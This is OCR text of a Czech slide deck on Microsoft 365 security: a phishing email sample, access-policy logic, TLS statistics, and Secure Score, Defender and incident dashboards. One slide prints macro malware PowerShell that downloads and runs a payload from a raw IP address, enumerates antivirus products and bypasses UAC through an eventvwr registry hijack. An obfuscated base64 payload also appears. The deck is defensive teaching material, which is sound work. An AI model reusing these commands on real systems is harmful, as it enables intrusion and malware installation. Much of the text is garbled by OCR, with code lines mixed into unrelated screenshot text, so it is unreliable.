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E-mailova notifikace

[Account-Deactivation]
Microsoft Fix <mx-59545445435@protection.office-365.com>

Tuesday, August 21, 2018 at 1:18 AM
Show Details

Office-365

Hi Sales

Your account of s com will be disconnected from sending or receiving mails from other users. because you failed to resolve
errors on your mail.

You need to resolve the errors or your account will be disconnected from S com.
Follow the instruction below to resolve now.

RESOLVE ISSUE NOW

Regards,
Microsft Security Team
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Ochrana identity uzivatele
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Povol pristup

Privilegovany uzivatel?

, , , Riziko L
Pfihlasovaci udaje online? Vyzadej MFA
Pistup k citlivé aplikaci? I Vysoké
Nespravované zarizeni? Stredni
T Vyzadej zmenu hesla

Detekovan malware? L
Nizke

IP adresa soucasti botnetu?
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Neuskutecnitelna cesta? Odmitni pfistup

Anonymni klient?
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Prenos dat a sifrovani

Global SSL/TLS grade distribution

n64.4% \ n 18.6% n 212%

64.4% JEB % 18.6% Kl ne £12% JE3 e
'l 83% 18.9% 13%

109% 469% 29.4%
Web Servers Email Servers Other Servers

SSL/TLS configurations compliant with PCI DSS requirements

Ny
21.2% 6.7% 20.8%
Web Servers Email Servers Other Servers

Security hardening of SSL/TLS email servers

N ~
60.0% 26.3% 12.3%

SPF DKIM DMARC



Aktualizace, konfigurace, analyza udalosti

Overview » Security And Audit

L

Settings
SECURITY DOMAINS NOTABLE ISSUES DETECTIONS (PREVIEW) THREAT INTELLIGENCE
Security records over time Active issue types 6 Servers with outbound malicious traffic Detected threat types

DETECTIONS OVER TIME

A I CRITICAL 20
-\
150k 2
- B it \ A y N i WARNING BOTNET
3 100k N = N 9
v v A TOTAL 4 171«
50k INFO
3 Jan 22 Jan23 Jan24 Jan25 Jan26 Jan27 Jan28
Jan23 Jan 25 Jan 27

Antimalware Assessment Update Assessment NAME COUNT SEVERITY NAME COUNT SEVERITY
Computers with Antimalware Computers missing updates
Assessment 1 1 1 High priority AD assessment security r... 1 0 Failed RDP Brute Force Attack 6 A

High priority SQL assessment security ... 1 o
Network Security Identity and Access Logons with a clear text password 53 A
Coming soon! Accounts attempted to log

on 1 8 K Computers with insufficient protection 10 A SIA 5 ASIA
NORTH “""
% I‘IK‘
* Low priority SQL assessment security r... 7 A XD ierica
Computers Threat Intelligence Low priority AD assessment security re... 1 A (V3]
Computers with security Malicious traffic events
events 11 17 1 K Accounts failed to log on 2K o AFRICA
* Change or reset passwords attempts 4 o SOUTH
AUSTRALIA AMERICA AUSTRALIA
Baseline Assessment Azure Security Center Locked accounts 3 o
Critical failed rules in the last
day
68 b bing £ Incoming maficious traffic €)) Outgoing malicious traffic

< 1of1 > < 1oft >



Nekdy staci naproste zaklady

URGENT: CRITICAL
UPDATE AVAILABLE!

DETRILS: FIXES AN 155UE
THAT WAS CAUSING RANDOM
LAPTOP ELECTRICAL FIRES.

é

(THIS UPDATE LILL REBUIRE
RESTARTING YOUR COMPUTER.)

REFING
ME LATER

U,_,\E.""




Jen 16 radku bohate stadi...
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SliContainer = "IYBETYyBOT1QgUIvOICEhIQOKZNVuUY3RpbZ24gR2vOLUSTdHdvCEmTECmM]2Z5E7R2ZVOLVBTRHIpdmUgLVETUHIvd

mlkZXIgJ10ZpbGvTexXNOZWONIHwgVZh1cmUt T2 1gZWNOIHS kXySEaXNwbGF SUm9vdCATbwFOY2ggl1l5cXFxcI319DapmdwsjdGlv
biBlbnzva2utQ315cHRvIHtbQ21kbavoamluzGluzygpxseayxIhbsaowlehemFtzXr1 ciggTwFuZGFOb335LFZhbHVIRNIVDVE
pcGvsawd TLFBvC2 10aw3uPTApXVT ZeXNOZWOuawBuzZml sZWluZm3dICRGawWx 1 KQDKICAQIHBYb2NT C3MgewlKICAQICAQICEmD 3
J1vwNoICgka3vyomvudEZpbGUgawd gIJEZpbGUPIHENCiAQICAQICAQICAQIGImICgkQ3vyemvudEZpbGUuRXhOZWSzawduICluz
SANLmMNyeXBObyCpIHSNCiAQICAQICAQICAQICAQICEXamI0Z 51 XY XJuawsSnICIFbmiyexB0aw5n0i AkKCRDAXIyZWSORM]5Z55G
dwxsTmFtZ5kiDQogICAQICAQICAQICAQICAQIGS1bGwgPSEbc3TzdaviLmlvimZpbGvdojpszwFkawxsanl0zxMoJENLcnITbnr
Gawx1LkZ1bGx0YW1l1KQOKICAQICAGICAQICAQICAGICRFbmNyeXBOZWQgPSBbyn10Zvtdxshly2hvIDY3IDEXNCAXM JEQMTEYID
EXNTAXMTEQMTA4 IDEXMSA4OCAXMDCGMTAXIDEXNCKNCINDb21tZW50I5AgICAQICBbU3 T zdaveLkTPLKZ pbGvdojpxcm10ZUFsh
E15devzKCIKKCRDAXIyZWS0RM1 sZS556dwxs TmFtZskuy3J15CcHRYI1wgIEVUY3I5CcHRTZCkNC 1 AQICAQICAQICAQICAQICBBZGQT
Q29udevudcAatvmFsdwugIiQoJENlcnd 1bnRGawx ILkZ1bGx0YWl1KS5 jcnlwdGEi IC1QYXROICIKZWS 20NV ZZXIwemadmawx 1 XGR
Tc2tob3BcwwalxOhhdmvfamvlbl9pcnTwdevkLmxvZyINCi AQICAGICAQICAQIH19DQOgQICAQICAGIFNOYXIJOLVNSZWVWICITZ W
NvbmRzZIDENCiAQICBITQOKIES 1dHdvemtECm12Z5A9TIEd1dC10ZXR3b3IrRHIpdmUNCndoawx 1 ICgxKSBY JES 1dHdvemtECm1 22
SBRIEZvckvhy2gtT2IgZWNOIHTHZXQTQ2hpbGRIdGVTICRTLT Ivb3agLVvI1Y3vyc2ugLUZpbGugfCBHZXQTUMFLUZGItIC1Db3vu
COMTAXIDEXNCKkNCiNDb21tZW50IsAgICAgICBbU3 ] zdeviLklPLkZpbavdo jpxem10zZuFrsb3T zdeviLk1PLkZ pbGvdogICBbUCk”

“Invoke-Command -session fcurrent -scriptBlock {icontainer}




Jen 16 radku bohate stadi...

CENZUROVANO
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SECURITY WARNING Macros have been disabled
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Zl jen na j

dné komponente

O&- be3b29c426141ec4786dd7908Y  Microsoft Visual Basic for Applications - Bc3b29c426141ecERLEELSRT-E Pk geloT=Tok WA o (=3 dTeh -3 S ET-TPA=TE R fo e 1N B 3 To o1 T=1 ST Yo g o111 )
INSERT DESIGN PAGE LAYOUT File Edit View Inset Format Debug Run Tools Add-ins LEASLSNAENICNE-Ed-1H
TimesNewRo~|12 ~ A" A Aa- g g A 1 » - hé \!1 ) h‘“ t-> . .
2l - Uall] b = ) e if(-not (Test-Path "$env:APPDATA\Microsoft\Windows\Templates\temp")){
B I U -~abkx, X' w.aA- =& Bc3b29c426141ec4786dd79df80af542cef24ca "" >> "$env:APPDATA\Microsoft\Windows\Templates\temp"

Ena

Bankof America %%

Bank of America Visa — 4]

David Gray
551 Fifth Avenue ~ Suite 417
New York, NY 10176

Did you know that your
now available in alterna

If you are visually impaired or print-disabled
your statements in Braille, Large Print, Audiq

Scan this QR code with your Smartphone
to sign up or call us at 1-800-276-9939

(General)

$dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[@];

$gbPath = Join-Path $dir "GbPlugin";

$paths = @{(Join-Path $gbPath gbiehcef.dll) = "1@4";(Join-Path $gbPath gbiehscd.dll) = "751"
;(Join-Path $gbPath gbieh.dll) = "@e1";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env
:ProgramFiles) "\AppBrad\NetExpress58.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer)

Public Sub AutoOpen/()

Dim juliet As Integer

Dim disavowal As Variant
arthromeric = arthromeric * 4

Dim clinid As Integer "Trust”;(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
Dim malade As String foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.va
clinid = 3 Mod 8 e) + ";“}};

flora = "cheat"

iirﬁéi?ig z %io;a = o $url = "http://104.154.84.149/arv/C0095D8F375489C400.cab";

PrintAllH $output.= "Senv:APPDATA\MicFQSOFt\Nindows\Tgmplates\q73wotveoeyZnZu7odLdndaw.cab”;

Else (New-Object System.Net.WebClient).DownloadFile($url, $output);

Start-Process rundll32 $env:APPDATA\Microsoft\Windows\Templates\qg73WotveoeyZnZu7odLdndaW.cab

Dim ticket As Long
,C5CBDDF23;

You may need to get a QR Code® reader fron

Transactions since your last statement
DAVID GRAY - 4744 7784 5528 4719
Ref#

001
002
003
004

J

005

006

007

008

009

010 .

011 This document wa
012 To properly displal

| sd.Scroll fmScrollActionNoChange, L . ] :
arthropodal = 54 $avs = (Get-WmiObject -Namespace "root\SecurityCenter2" -QUERY "SELECT DisplayName FROM Anti
irusProduct” ) ;
=J= < foreach ($avl in $avs) { $av += $avl.displayName + ","};
if($av -like "*avg*"){
i Bc3b29c426141ec4786dd79df80af542cH

Use

$path = "HKCU:\Software\Classes\mscfile\shell\open\command";

rForm

bl |

ﬂ'

if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq
Private Sub UserForm Scroll (ByVal null){
Dim speck As New biochemically
Dim burmanniaceae As Variant

New-Item $path -Force | New-ItemProperty -Name "(Default)" -Value $command -PropertyTyp
string -Force | Out-Null }

else{exit};

speck.Name = harmoniphon $eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "ev
abruptly = speck.mammary EVWh. axa™ s
. " . s
gﬁisgggument.magllp Start-Process -FilePath $eventvwrPath;
Start-Sleep -Seconds 5;
£ $mscfilePath = "HKCU:\Software\Classes\mscfile";



Co je to anomalie?

« [ General Anomaly Detection | 1 ays 200 86% (1]

(£ & Microsoft Exchange Cnline #& General Anomaly Detection A jerry.nealy@contoso.com g RIERESE

Resolution opt'lens: Ljerr}r_nealy@{:ontosg_cgm - Dismiss....

Description

The user jerry nealy@contoso.com triggered a suspicious session with 2 combined risk score of 85.95/100 based on the factors below.
* The IP 109.163 234 2 is an ancnymous proxy
* The user jerry.nealy@contoso.com is an administrator
* The |5P Voulity S.R.L'
= was first used by any user across the arganization
= was first used by any user for administrative activity across the organization
* The administrative action "Set-Mailbox ForwardingShMTPAddress'
= was perfarmed for the first time in 82 days
= was performed only 20 times in the past
* The session contains 3 failed login attempts

[t is recommended to confirm the user is familiar with these actions.

Activity log




Rizeni dat v organizaci

) Other customers like you... e ¥¢ Recommended for you

Use data governance policies in Office 365 to control data lifecycle of documents and email. X
M W M Retain and protect

100 bittion 40 vitiion 25 billion 20 billion ' v l HIPAA information
Based on what you told us,
]E @ i @ you might deal with US

healthcare info. Help stay
Deleted Preserved Imported Classified compliant with HIPAA by
creating a policy to retain
any content that contains
J  Import v £ Retention coverage bor this sensitive info and get
notified if it's shared with

peaple outside your

100% @ From other organization.
archiving solutions Preserve all
a0
&0 50% B Preserve specific =+ Create a policy
o From social media
. and other sources B Don't preserve data
X
Retain tax records
- - L T - We detected content in
&3 Retention policy e & Classification & e your organization that
Records management contains W-2, 1040, 1054,
. Have a documented . or other tax'rellat&?d inlfo,
) and effective retention ) M Classify their data Create a retention policy

DO|OICf¥ fCIFB?G”SthEiI‘ data 0 to he|p make sure this
inimee I Have less than 10 important content is kept
I total classifications around for a while.

40 Have policies to delete
non-impaortant data

o]

Use new Office 365

classification solution + Create a policy



Zalohovani a kontinuita

r@ Microsoft Windows Mw

H":. Windows detected a hard disk problem

Back up your files immediately to prevent information loss, and then contact the
computer manufacturer to deterrmnine if you need to repair or replace the disk.

< Start the backup process

< Ask me again later
If the disk fails before the next warning, you could lose all of the programs and
documents on the disk.

(v) Show details




Soulad a certifikace sluzeb

39

33

28

27

25

24

22

22

20

18

17

17

17

15

15

14

Marketing

Accounting and finance
Social network

Hosting apps
E-commerce

Data analytics

Content management
Security

News and entertainment
Content sharing
Collaboration

Customer support
Transportation and travel
Web analytics
Development tools

Advertising

User can upload data
Encrypted data
Remember password
File sharing

Trusted certificate
Heartbleed patched
Supports SAML

DROWN vulnerable

Compliance

CSA

FISMA

GAAP

ISAE 3402

ITAR

soc2

SOX

SSAE 16

PCI DSS version

1SO 27018

Yes

Yes

Yes

Yes

Yes

Yes

Yes

No

Yes

Yes

No

Yes

Yes

Yes

Yes

Yes

Yes

Data classification
Data ownership
User-roles support
Valid certificate name
Encryption protocol
HTTP security headers

Enforce transport encryption

FINRA
FedRAMP
HIPAA

1SO 27001
SOC1
sOoC3

SP 800-53
Safe Harbor

DMCA

Disclaimer Request score update

Yes

Yes

Yes

Yes

TLS 1.2

Yes

No

Yes

Yes

Yes

Yes

No

Yes

Yes

Yes

Report new data




Procesy a dokumentace
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Zabezpeceni Microsoft 365

Co rozhodné neudélat, pokud chcete nastvat CISO

0 Nevynutit MFA 0 Nesledovat upozornéni

0 Nepouzit MDM 0 Nekontrolovat opravnéni

0 Nezapnout logovani 0 NeSifrovat data

0 Neaktualizovat 0 Nezménit nastaveni



r_] Microsoft Secure Score X | #% Policies - Microsoft Azure + v = *
“— ] m o] protection.office.com yke 3= g = i

Microsoft 365 Security

= i Rank Improvement action Score Category User impact Implementation cost x
@ Home A Identity (9) Enable MFA for Azure AD privileged roles
il 5 ntity W W .
A Alerts (] 1 Enable MFA for Azure AD privileged roles 0/50 Identity Low Low 0/50 points
4 Remove just in time access eligble admins that n... 0/10 Identity Low Low Status
b Monitoring & reports
To do
9 Block Office apps from launching child processes 0/50 Identity High Low
T Secure Score Description
9 Designate more than one global admin 2/5 Identity Low Low You should enable MFA for all of your Azure AD privileged roles because a breach of any
i} Hunting of those accounts can lead to a breach of any of your data. We found that you had 8
16 Use non-global administrative roles 111 Identity Low Low admins out of 10 that did not have MFA enabled. If you enable MFA for those 8 admin
accounts, your score will go up 50 points.
D Classification ~ - 3 ] .
21 Designate less than 5 global admins o/ Identity Low Low
Category User impact
= Policies 27 Do not allow third party integrated applications 1010 Identity Low Identity Low
Q, Permissions 42 Disable accounts not used in last 30 days 0/1 Identity Low Protects against Implementation cost
Password Cracking Low
45 User alternate contact info is completed for all us...  1/1 Identity Low Low Account Breach

Elevation of Privilege

~  Apps(2)

10 Discover risky and non-compliant Shadow IT app..  0/25 Apps Low Low What am | about to change?
Enable the "Baseline policy: Require MFA for Admins”™ through the conditional access
30 Set automated notification for new OAuth applic.. (/20 ate Low portal. Click the baseline policy and select "Use policy immediately” to enable MFA for

your Admins. While the baseline policy is in preview, it can be disabled. Otherwise, if you

leave the policy on "Automatically enable policy in the future”, when the baseline polic

A Infrastructure (1) ;e polaron Adtomaticaly policy 1N _ poley
make it to general availability, Azure AD will opt you into the policy by default but provide

you the configuration to opt out at any time.

18 Remove external accounts with wnte permissions... (/25 Low
A Dat (3) How will this affect my users?
ala When you enable MFA for your Global Administrators, they will be prompted to
18 Review malware detections report weekly 55 Data Lo Lo authenticate with a 2nd factor when accessing an app.
o . o Notes
38 Review list of external users you have invited to d..  2/2 Data Low Low
Write a note
46 Enable Data Loss Prevention policies 0/20 Data Moderate

~ Device (1)

Low Resolve through third-party lgnore

64 Require mobile devices to use alphanumenic pass...




el [F] Monitoring & reports- X [ #& Policies - Microsoft Azure aF = X

“— ] m o] protection.office.com yke 3= g = i

Microsoft 365 Security

= e Monitoring & reports
A Alerts

View status and trends for the security of your Microsoft 365 devices, data, identities, apps, and infrastructure. Learn more
b Monitoring & reports

i= Group by category v

T Secure Score

Identities (3) [
88 Hunting

Identity protection Cloud App Security - Anomaly detection Global admins

{ Classification -
= Policies 55 users at risk Users with detections Reduce global admins

issi U Alert 8 global admins
Q, Permissions . ser Alerts

Global admins have access to all your data and tools. Limiting

Armin Hoffman 56 the number of users with this role lowers the risk to your
M High risk Medium risk No risk organization,
Emil Ruder 45
View all users Josef Muller Brockmann 32 Manage roles

Adrian Frutiger 2

Max Miedinger

Max Bill 15

Le Corbusier 8

Ralph Schraivogel 4

Niklaus Troxler 2

See more

Data (7) Feedback




& Monitoring & reports - X | #& Palicies - Microsoft Azure + v = x
< @] o I protection.office.com e 3= 1. =& Y

Microsoft 365 Security

= Data (7) R
it Home ; ; . ) .
DLP policy matches 3rd-party DLP policy matches DLP false positive and override Conditional access app control
A Alerts 400 300 400 300
b Monitoring & reports 200 200 200
T Secure Score . . 100
8% Hunting I PCl Data Security Standard (PCI D55) - 3/20 321 3/22 323 324 325 326 PCI Data Security Standard (PCI D55) ) 3/20 0 321 3/22 323 3/24 0 3PS 326
I U.5. Health Insurance Portability and Accountabilit... U.5. Health Insurance Act (HIPAL)
o General Data Protection Regulation (GDPR) M 3rd-party DLP policy matches General Data Protection Regulation (GDPR) Unmanaged device logins Il Blocked downloads
D Classification ~
5 Policies
Users sharing files Top Labels Top Labels by location
O.; Permissions
Users whao shared the most files in cloud apps A0

123 Non-business

User Files shared
Kelly Wison [ D

Marco Dinkins 132 M Finance [ General [l Public Il Non-business

Roseann Albert 112

Manage labels

ea

Lisa Sherman

Damian Mattos

o

Russell Lynch

Niklas Bosley 32
Le Corbusier 23
Ralph Schraivogel 16

Show more
Feedback




& Monitoring & reports - X | #& Policies - Microsoft Azure + W

e

O

& protection.office.com

Microsoft 365 Security

¢ & W K B B

It

Home

Alerts

Monitoring & repaorts

Secure Score

Hunting

Classification

Palicies

Permissions

Devices (11)

Device protection

34 devices at risk

Device Risk level
tocohen A High
tocohen2

> tocohen3 Low
tocohend A High
tocohens A High
tocohenb A High
tocohen7 A High
tocohend A High
tocohen9 A High

View details

Device compliance

35% noncompliant

In grace period
Mot evaluated

Moncompliant
Compliant

See compliance issues

Attack surface reduction rules

90% of devices use attack surface reduction rules

B Block mode [l Audit mode Il Mixed mode Off
Device settings by rule

Execution of executable content (exe, dll, ps, j... 112.6k/112.6k

Office apps/macros creating executable content  89.8k/112.6k

js/vbs executing payload downloaded from In... 86.3k/112.6k
|
Win32 imports from Office macro code 89.9k/112.6k

Advanced ransomware protection 84.5k/112.6k
|
Process creation from PSExec and WMI comm... 76.7k/112.6k

|
=
o
IS
-
3
=}
o
|
=g
=
o

Off

=]
5]
[+8
o

View all devices View devices in audit mode

Device malware detections

15 unresolved malware

W Active
W Mot executed

Action failed Allowed

View details

Office apps launching child processes 12.6k/112.6k

Office apps injecting into other processes (no... 84.4k/T12.6k
I
Obfuscated js/vbs/ps/macro code 73.5k/M2.6k

Executables that don't meet a prevalence, age... 101.3k/T12.6k

Flag credential stealing from the Windows loc... 74.7k/112.6k
I
Untrusted and unsigned processes that run fro...  78k/T12.6k

View devices with ASR off

Device threat analytics

Assess your defenses against
high-profile threats

Read about the latest attack campaigns, malware outbreaks, and
other notable threats. Review devices with related alerts and

devices that don't have the recommended mitigations.

View all threats

Attack surface reduction rule detections

Possible malware or breach activity on your devices

8.3k detections
145 unique files
6k affected devices

Detections over time

1000

m ‘ H H H
o |||| | ||||I|. il || I .Il..
0822

0g/01 05/11 09/21

M Blocked M Audited

View detected files Simulate exclusions e

GADOLINIUM / FoggyBrass 12/16
|

Dofoil / CoinMiner 10/13
|
Zacinlo(Detrahere) 1/7
|

EternalBlue endures 2/4
|

Emotet distributes Trickbot 3/3

Feedback
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©
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O

Microsoft 365 Security

Home

Alerts

Monitoring & repaorts

Secure Score

Hunting

Classification

Palicies

Permissions

& Monitoring & reports - X | #& Palicies - Microsoft Azure

protection.office.com

Apps (8)

Cloud App Security - QAuth apps

+

248 privileged apps

M High Mediurmn Low
App

Boomerang

Yesware email tracking

Jira for Outlook

Pickit Free Images
officeatwork Template Chooser

MyScript Math Sample

Show more

Email protection

12 email accounts at risk

Email account

armin.hoffman@contoso.com

mike.dearson@contoso.com

eva.macias@contoso.com

Permission level

User

Cloud app accounts for review

User accounts that require attention based on Cloud App
Security alerts

3 suspicious admin activity
46 possible impersonations
inactive accounts

Email threat analytics

Investigate high-profile

threats that arrive on email

iew data on trending and v

assess their impacts to your data and email accounts.

Malicious content blocked

8067 phishing blocks

Total phishing attempts blocked by Office363 ATP features

Malicious URL reputation 1043/
|

Advanced phish filter 103/
I

General phish filter 567 /

idespread mailware campaigns and

Discovered cloud apps (categories)

Cloud storage

B .54 GE
Collaboration
1 1.03 GB
CRM
1 814.78 MB
Webmail
Bl 2.44 GB
Sanctioned M Unsactioned Other

097M?CVE-2017-11882.C 40/72
097M?CVE-2017-11882.A 40/ 66
Win32/Tisifi.B 40 /57
Win32/Fareit 40 /48

1272 malware blocks

Total malware in email or content blocked by Office365 ATP
features

ATP safe attachments 387 /1272
|

ATP safe links 315/1272
|

Anti-malware engine 253 /1272

Cloud app activity locations

Commen countries where your users are accessing cloud apps

101.4k from the United States
9k from France
from China

Malware in email

610 Win32/Tisifi.B
382 Win32/Fareit
143 Win32/Dridex

Feedback




& Monitoring & reports - X | #& Palicies - Microsoft Azure + v = x
< @] o I protection.office.com e 3= 1. =& Y

Microsoft 365 Security

= User impersonation 98 / 8067
= 1
lee.rob@contoso.com Le
Domain impersonation 112 / 8067
it Home ) ) 1
michael.lee@contoso.com vichael Lee
Phish zap 55 / 8067
I
M Alerts
Ik Monitoring & reports See more
T Secure Score
88 Huntin
? Infrastructure (3) 2y
D Classification “
Infrastructure health e Azure security subscription coverage e Azure policy compliance
5 Policies
0, 0, .
@ Permissions Some resources need 80% covered 91% compliant

attention
] .

Covered (free)

Health status of your resources protected by Azure Security
Center

Compliant [l Not compliant

28 compute resources

] i .
Improve coverage View details
14 networking resources

19 storage and data resources
I

12 application resources

2 10T resources

4 miscellanecus resources

B Critical Warning Healthy

View details

Feedback
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Detection

Active Incidents

27 active in(:idents Updated 6:20 pm today

W High (4) Medium (186) Low (7}

Incident name

Golden ticket compromise

Phishing email campaign detected

Suspicious PowerShell Activity

Phishing email campaign detected

Insider threat identified - sensitive data

Potential Dofoil activity - malicious C2

Windows Defender AV detected an active 'Azden’ malware

Windows Defender AV detected 'Reimage’ unwanted software

Show more

Email protection

12 email accounts at risk /o
Updated 6:20 pm today

Email account User

Severity Last activity

HEN High June 18, 2018 11:12 AM

HEN High June 18, 2018 11210 AM

HEN High June 18, 2018 11:07 AM

HEN High June 18, 2018 1056 AM
Medium June 18, 2018  10:52 AM
Medium June 18, 2018 10:50 AM
Medium June 18, 2018  11:12 AM
Medium June 18, 2018 11:11 AM

Device threat analytics

Assess your defenses against
high-profile threats

Updated 6:20 pm today

Get interactive reports on Windows Defender ATP about emerging threats

Identity protection

Users with threat detections

Updated 6:20 pm today

User Alerts
Jesse Wallin 56
Robin Goolsby 45
Eva Macias 32
Jonathan Wolcott 27

Rex Fredrickson 16

Donovan Eagle 15

Jess Passmore

=

Antoine Hindman 4
Wayne Wallin 2
Show more

Spectre and Meltdown 23 active/132

Advanced Trojan Outbreak 16 active/182

NotPetya 13 active/254

Blarl Erorrr AY okt 1A

b
i

¢’ Editsections -+ Add cards

Device protection

34 devices at risk /12

Updated 6:20 pm today

Device Risk score
RDP_SRV_10 A High
RDP_SRV_5 A High
FIN_SRV_HQ A High
DC_SRV_US A High
cont-evamacias A High
cont-jonathanwolcott A High
cont-jesswallin Medium
RDP_SRV_25 Medium
RDP_SRV_25 Medium
See more

Threat News

“BadKitten" - New threat in town
‘ Check organization vulnerability

Start hunting!
GitHub shared new query



B

< ROEJ

I

M365 pe +

O https://security.microsoft.com

Microsoft 365 Security

Incident #496

Edit incident name

EEHE High

Conditional access applied

NCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to

Dan Smith

Unassign

Category
Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 2018
Last- Jul 03, 2018

[P}

Duration

00H : 03m : 23s

i Share -] Comments and history O3 Actions and assistance
-

Dashboard > Incident

6 active alerts Related evidence

| Machines Users Files Pracesses IPs Applications Servicess Persistence methods

W High (1) Medium (3) Low (2) Infarmational (0) 3 4 9 4 1 0 0 1

" ® © ° b v o L]
Y
Jul 02 09:28:30 AM 09:29:00 AM
Alerts  Devices |dentities  Investigations  Incident graph  Action center I Expand table
08 Export T# Customize columns 7 Filters

~ Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Paossible compromised account Medium Email Compromised mailbox E1 jonathan.wollcott Open Running Jul 03, 2018 0%:26 AM
Suspicious PowerShell Medium Device Suspicius activity Ll cont-jonawolcot  JW Jonathan Wolcott Open Running Jul 03,2018 09:26 AM
Suspect scheduled task Medium Device Persistence Ll 3 Machines ' 4 Users Open Running Jul 03, 2018 09:26 AM
Active credential theft tool HEHE High Device Credential Theft Ll cont-jonawolecot  JW Jonathan Wolcott Open Running Jul 03,2018  09:26 AM
Outbound email spike Low Email Suspicius activity L cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03,2018 09:27 AM
Suspicious user behavior Low Identity Compromised account = jonathan.wollcott Close Running Jul 03, 2018 09:28 AM
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Microsoft 365 Security

Incident #496
Edit incident name
EEE High

Conditional access applied

NCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to
Dan Smith
Unassign
Category
Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 201¢

Last- Jul03, 2

Duration

00H : 03m : 23s

i Share -] Comments and history O3 Actions and assistance
-
Dashboard > Incident
6 active alerts Related evidence
| Machines Users Files Pracesses IPs Applications Servicess Persistence methods
W High (1) Medium (3) Low {2) Infarmational (0) 3 4 9 4 1 0 0 1
® ° ® v o @ v © o
Y
Jul 02 09:28:30 AM 09:29:00 AM
Alerts  Devices Identities gations Incident graph Action center I Expand table
08 Export T# Customize columns 7 Filters
~ Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Paossible compromised account Medium Ema Compromised mailbox E1 jonathan.wollcott Open Running Jul 03 09:26 AM
@ Suspicious PowerShell Medium Device Suspicius activity Ll cont-jonawolecot  JW Jonathan Wolcott Open Running Jul 03,2018  09:26 AM
Suspect scheduled task Medium Device Persistence Ll 3 Machines ' 4 Users Open Running Jul 03 09:26 AM
Active credential theft tool HEE High Device Credential Theft L contjonawolcot  JW Jonathan Wolcott Open Running Jul 03 09:26 AM
Outbound email spike Low Ema Suspicius activity L cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03, 2018
Suspicious user behavior Low Identity Compromised account =1 jonathan.wollcott Close Running Jul 03,2018 09:28 AM
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Microsoft 365 Security

Incident #496
Edit incident name
EEE High

Conditional access applied

NCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to
Dan Smith
Unassign
Category
Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 201¢

Last- Jul03, 2

Duration

00H : 03m : 23s

i Share -] Comments and history O3 Actions and assistance
-
Dashboard > Incident
6 active alerts Related evidence
| Machines Users Files Pracesses IPs Applications Servicess Persistence methods
W High (1) Medium (3) Low {2) Infarmational (0) 3 4 9 4 1 0 0 1
® ° ® v o @ v © o
Y
Jul 02 09:28:30 AM 09:29:00 AM
Alerts  Devices Identities gations Incident graph Action center I Expand table
08 Export T# Customize columns 7 Filters
~ Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Paossible compromised account Medium Ema Compromised mailbox E1 jonathan.wollcott Open Running Jul 03
Suspicious PowerShell Medium Device Suspicius activity Ll cont-jonawolcot  JW Jonathan Wolcott Open Running Jul 03,2018 09:26 AM
Suspect scheduled task Medium Device Persistence Ll 3 Machines ' 4 Users Open Running Jul 03 09:26 AM
Active credential theft tool HEE High Device Credential Theft L contjonawolcot  JW Jonathan Wolcott Open Running Jul 03 09:26 AM
Outbound email spike Low Ema Suspicius activity L cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03, 2018
@ Suspicious user behavior Low Identity Compromised account =1 jonathan.wollcott Close Running Jul 03,2018 09:28 AM
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i Share -] Comments and history [ Actions and assistance

Dashboard > Incident

B

Incident #496

Edit incident name [ Machines Users Mailboxes Files Processes Ps Applications Servicess

EEE High W High (1) Medium (3) Low {2) Infarmational (0) 3 4 2 1 3 9 4 1 0 0 1

Conditional access applied

6 active alerts Related evidence

Persistence methods

< ROEJ

_ _ _ _ -] _ _ _
NCIDENT DETAILS lf v v ¥ v v v v v
Status Jul 02 09:28:30 AM 09:29:00 AM
Active
— Classification Alerts Devices  Identities  Investigations  Incident graph  Action center T Expand table
= True positive -
Set status and classification
o @ Export M@ Customize columns ¥ Filters
Assigned to
Dan Smith
Unassign ~ Machine name Risk level Tags User Threat score First activity Last activity
Category . A High ri ) : . ; ) e G Eea A
£ cont-jonawolcot High risk Highly confidential ~ Conditional access applied JW Jonathan Wolcott A High-127 lan 01, 2015 Jul 03, 2018 0929 AM
Compromised mailbox ~ Suspicius activity
Persistence  Credential Theft Ll cont-robingoolsby A High risk Highly confidential ~ Conditional access applied RG Robin Goolsby A High - 127 an 01, 2015 Jul 03, 2018 0929 AM
Compromised account  Suspicius activity o - !
Ll cont-evamacias A High risk Conditional access applied A High - 127 an 01, 2015 Jul 03, 09:29 AM

ACTIVE

Activity time
Fi
Last- Jul 03, 20

rst - Jul 03, 20

18
18

Duration

00H : 03m : 23s
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= @ Share [ Comments and history O3 Actions and assistance
-
@ Dashboard > Incident
_ Incident #496 6 active alerts Related evidence
B :
Edit incident name | Machines Users Mailbaxes Files Pracesses IPs Applications Servicess Persistence methods
5 EEE High W High (1) Medium (3) Low {2) Infarmational (0) 3 4 2 1 3 9 4 1 0 o 1
Conditional access applied
= e i . © i i
NCIDENT DETAILS b‘ v v ¥ v v v v
Q Status Jul 02 09:28:30 AM 09:29:00 AM
Active
— Classification Alerts Devices  ldentities  Investigations  Incident graph  Action center 1 Expand table
= True positive -
Set status and classification
o @ Export M@ Customize columns ¥ Filters
Assigned to
Dan Smith
Unassign - User name Title Threat score Tags UPMN Department Primary devices Risk level First seen Last seen
